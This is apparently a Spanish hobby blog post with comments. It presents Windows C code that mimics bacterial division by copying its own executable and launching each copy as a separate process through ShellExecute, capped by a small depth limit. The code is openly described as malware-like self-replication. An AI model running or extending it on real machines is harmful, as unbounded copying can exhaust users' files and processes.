Abel Naya
/* Recreación de una colonia de bacterias: 1 fichero (bacteria) genera 2 ficheros (bacterias) hijos, cada uno de estos genera otros 2, y así sucesivamente, etc. ¡¡Ciudado con su ejecución descontrolada!!, el usuario asume las consecuencias de su acción. */
/* Colonia de Bacterias: Programa sencillo que crea dos copias exactas de si mismo (en realidad solo una) manteniendo el nombre de archivo y su extensión, pero uno añadiendo r y otro añadiendo l. Además cada uno de estos programas se vuelve a dividir (hasta un límite prefijado) Nota del autor: Lo normal en este tipo de programas 'malware' es que el ejecutable sea el que crea todos los 'hijos' mediante un bucle. Pero esa no es la manera de dividirse de las bacterias. Es por esto que he querido simular lo máximo posible la división unicelular: una bacteria se divide en dos copias idénticas, cada una de ellas se vuelve a dividir por si sola. Además, gracias al Shellejecute de la libreria windows, se puede ejecutar la hija como proceso independiente por lo que el programa resulta más peligroso ya que hay tantos procesos simultáneos como archivos. */ #include <stdio.h>//para los files y printf #include <string.h> //para las cadenas #include <windows.h>//para el shellejecute //¡¡Cuidado con este número!! #define defdup 3 //numero de veces que se repetirá la duplicación. Archivos finales: pow(2,defdup) //¡¡Cuidado con este número!! int main(int argc,char*argv[]) { int dup = (argc==2)? argv[1][0]-'0' : defdup; //system("pause");//parada de control //archivos FILE *madre,*hija; //longitud cadena int longitud=strlen(argv[0]); //directorios char dmadre[longitud+2],dhija[longitud+2]; //copia el directorio strcpy(dmadre,argv[0]); //modifica el directorio añadiendo 'r' y 'l' a los dos archivos (de Right y Left) despues del nombre pero antes de la extensión (lo que va tras el último punto) int i; for(i=longitud+1;dmadre[i]!='.';i--) { dmadre[i]=dmadre[i-1]; } strcpy(dhija,dmadre); dmadre[i]='r'; dhija[i]='l'; //printf("%s\n\n%s\n\n",dmadre,dhija); //el archivo original se convierte en una hija rename(argv[0],dmadre); //se copia el contenido en otro que se crea madre=fopen(dmadre,"rb"); hija=fopen(dhija,"wb"); char c; do { c=fgetc(madre); printf("%c",c); //Si no quieres que aparezcan caracteres por consola quita está línea fputc(c,hija); }while(!feof(madre)); fclose(madre); fclose(hija); //A dividirse toca (pero con límite) if(dup>1){ //Preparativos char par1[2] = {(char)(dup-1+'0'),0}; char* parametros[2]={dmadre,par1}; char lista[longitud+2+5]; sprintf(lista,"%c",(char)(dup-1+'0')); //sprintf(lista,"\"%c\"\0",(char)(dup-1+'0')); //Le da 'vida' a la hija para que se divida ShellExecute(NULL,"open",dhija,lista,NULL,SW_SHOWNORMAL); //La madre se sigue dividiendo main(2,parametros); } return 0; }
Anuncios
Bonita solución. Podías haber reproducido también las hijas con “main(2,parametros_hija)”. Fíjate detalle de completar cadena en par1[2], y de simplificación de lista. Así también marcha bien la reproducción, desactivando el printf() del copiado de ficheros que si no atasca la cosa con sonidos innecesarios. En resumen, very good!!.
Abel Naya
1-Si usará el main para reproducir la hija no se crearía un proceso independiente (lo explico en la introducción)
2-Usar strings puede ser confuso 😛 No me había dado cuenta de esos fallos.
3-Lo del printf lo puse porque ver una pantalla en negro asusta menos que si ves caracteres extraños 🙂 ( a mi no me salen los sonidos) Lo he vuelto a poner con un comentario explicativo.
ok!.